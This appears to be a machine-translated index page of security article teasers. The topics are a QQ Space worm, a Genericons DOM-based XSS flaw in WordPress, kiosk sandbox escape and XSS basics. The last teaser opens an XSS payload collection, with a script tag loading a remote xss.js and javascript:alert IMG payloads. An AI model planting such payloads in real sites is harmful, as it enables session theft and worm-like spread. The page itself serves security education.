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We often see that QQ space automatically forwards some bad information with links, even though our QQ password has not been stolen. Recently, through the analysis of a QQ space automatic forwarding link, it was found that the automatic forwarding mechanism carefully constructed the code to obtain the user's QQ number and key value by using the vulnerable page of Tencent website, thus obtaining some sensitive operation permissions of the user. And through this vulnerability, it automatically forwards some bad information to induce users to click, thus leading to large-scale dissemination. Communication phenomenon If one day, you find many Q's read the whole passage
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WordPress plug-ins or themes that use the Genericons package may be affected by a DOM based XSS vulnerability, because the default WordPress theme TwentyFifteen and the well-known plug-in Jetpack contain the vulnerable page example.html, which affects millions of users. Cause of loophole Any WordPress plug-in or theme that uses the generics package will be affected by this DOM based cross site scripting vulnerability, because usually the generics package contains an example.html file, which contains a base read the whole passage
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0×01 Background Please specify the original reprint of Ziwen! Mobile terminals or terminals can be seen everywhere in the city where we live every day. The terminal is generally composed of a touch display and a host. For example, the atm machine of the bank, the ktv, the song request machine, and the self-service machine of the unicom business hall. The security of these things is not very high. Generally, they are composed of a win or linux operating system and a sandbox. What we need to do is to jump out of the sandbox. Once the sandbox jumps out and our permissions are high enough, we can do something read the whole passage
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1. Myth 1: XSS does not specifically "bypass" restrictions. To make a simple analogy, how can you break into a gate that has been guarded layer upon layer, with numerous thorns in front of you, and you are alone? At this time, you should realize that it is impossible to walk through the gate. In fact, there are many small doors that can enter the city defense that we want to break through, even without any means. Why don't we go? XSS is very defensible. It's just filtering. So we don't want to place too much hope on the faulty filtering logic of programmers read the whole passage
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XSS, also known as CSS (Cross Site Script), is a cross site script attack. Malicious attackers insert malicious html code into Web pages When a user browses the page, the html code embedded in the Web will be executed to achieve the special purpose of malicious users. XSS falls into two categories: One is internal attacks, which mainly refers to the use of vulnerabilities in the program itself to construct cross site statements, such as the cross site vulnerability in showerror.asp of dvbbs. The other is an external attack, which mainly refers to building XSS cross site vulnerability web pages or read the whole passage
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Xss cross site scripting attack collection (1) Normal XSS JavaScript injection <SCRIPT SRC= http://3w.org/XSS/xss.js ></SCRIPT> (2) IMG tag XSS uses JavaScript commands <SCRIPT SRC= http://3w.org/XSS/xss.js ></SCRIPT> (3) IMG label without semicolon and quotation mark <IMG SRC=javascript:alert(‘XSS’)> (4) IMG label case insensitive <IMG SRC=JaVaScRiPt:alert(‘XSS’)> (5) HTML encoding (must have semicolon) read the whole passage
